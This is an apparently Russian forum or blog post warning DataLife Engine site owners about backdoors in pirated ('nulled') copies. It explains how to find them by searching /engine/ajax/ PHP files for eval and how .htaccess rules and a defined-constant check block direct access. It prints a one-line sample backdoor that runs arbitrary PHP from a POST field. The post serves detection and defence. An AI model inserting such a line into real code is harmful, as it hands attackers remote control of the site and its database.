Защита от возможных бэкдоров в DLE нуллах
Как ни прискорбно, но DLE сечас нулят практически все кому не лень. Но помимо нулла, некоторые нулерята любят добавлять бэкдор в движок, для своих нехороших целей. Я бы хотел описать один из возможных мест расположения бэкдора, и как проверять - есть бэкдор или нет.
Первый и самый наилучший способ - купить лицензию и спать спокойно. Хотя лично я все равно не гарантирую полной безопасности. Даже если предположить, что DLE 100% обезопасен, все равно есть способы навредить вам. Эти способы я описывать не буду, чтобы наши молодые "школьные хацкеры" не забивали себе голову.
Второй способ по надежности практически не уступает первому. Если вы уже грешите пользуясь нулленым движком, то качайте его с одного и того же проверенного источника (автора). Однако все равно я бы проверял файлы даже в этом случае.
В некоторых случаях даже на проверенных сайтах может быть выложена версия с бэкдором, админы не всегда в состянии проверять все, что выкладывается на сайте. Будте бдительны и осторожны.
А теперь немного о бэкдорах.
Я не буду описывать что такое бэкдор, думаю и все это прекрасно знают. А вот как его найти, это сейчас и будем рассматривать.
Практически всегда бэкдоры вставляются в php файлах в папке /engine/ajax/
Найти его элементарно, просто ищите в тексте совпадение слова: eval
Пример бэкдора:
if($_POST['text']!=''){eval(stripcslashes($_POST['text']));}
где операнд для выполнения кода:
eval()
Таким способом можно легко выполнить любой php код включая выполнение запросов в БД, а там уже на что хватит фантазии проказника.
Еще бэкдор может быть расположен в любом другом php файле, но если выполнено одно из нижеследующих условий - даже если бэкдор в файле и есть, то он бесполезен.
1. В папке в php файлом есть файл .htaccess с содержимым:
Order Deny,Allow
Deny from all
Эти две строки запрещают доступ к этим файлам на прямую, через адресную строку. Например, попробуйте обратиться на прямую в файлам кэша.
2. Если в php файле есть блок:
if( ! defined( 'DATALIFEENGINE' ) ) {
die( "Hacking attempt!" );
}
Эти строки так же не позволяет прямое обращение к файлу на выполнение. Но переменная DATALIFEENGINE задается во всех php файлах из папки engine/ajax, поэтому бэкдоры размещаются чаще всего там.
Но не бойтесь, если встретите eval в javascript файле, так его использование вполне безопасно.
И в заключение добавлю. Пользуйтесь лицензионными версиями, не жадничайте. На хорошем портале - за 2-3 месяца окупится. Зато лицензия - это не кот в мешке, надежность значительно выше будет.
С Уважением,
Олег Александрович a.k.a Sander.